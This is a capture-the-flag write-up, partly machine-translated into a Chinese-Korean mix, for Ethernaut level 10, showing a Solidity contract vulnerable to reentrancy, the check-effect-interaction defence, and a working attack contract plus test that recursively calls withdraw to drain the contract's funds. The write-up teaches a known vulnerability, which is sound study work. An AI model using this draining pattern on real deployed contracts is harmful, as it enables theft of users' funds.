Ethernaut系列-레벨 10(재진입)
레벨 10(재진입):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
//(bool result,) = msg.sender.call{value:_amount}("");
//原文是上面这行,在0.6是无法编译的,修改为下面这行
(bool result,) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
通关要求
取光合约的余额
要点
重入攻击:方法里调用有外部方法,外部方法又调用本方法,导致安全问题
https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21
安全建议
1. 外部方法加锁
2. 严格遵循check-effect-interaction原则
检查条件->修改变量/状态->交互(执行动作)
交互要放在最后
check-effect-interaction이 더 중요하고, 더 나은 결과를 얻으려면!!!
解题思路
1. 写个合约在再调用进行重入
계약/10ReentranceRun.js
function run(address _levelAddress) external payable {
levelAddress = _levelAddress;
donateAmount = msg.value;
ILevel(levelAddress).donate{value:donateAmount}(address(this));
ILevel(levelAddress).withdraw(donateAmount);
}
//重入withdraw
receive() external payable {
uint256 levelBalance = payable(levelAddress).balance;
if (msg.sender == levelAddress && levelBalance !=0 ) {
ILevel(levelAddress).withdraw(donateAmount>levelBalance?levelBalance:donateAmount);
}
}
test/10Reentrance.js
it("attacks", async function () {
await runContract.connect(player).run(levelContract.address, {
value: ethers.utils.parseEther("0.5"),
});
});
Reference
이 문제에 관하여(Ethernaut系列-레벨 10(재진입)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-10reentrance-53m0텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)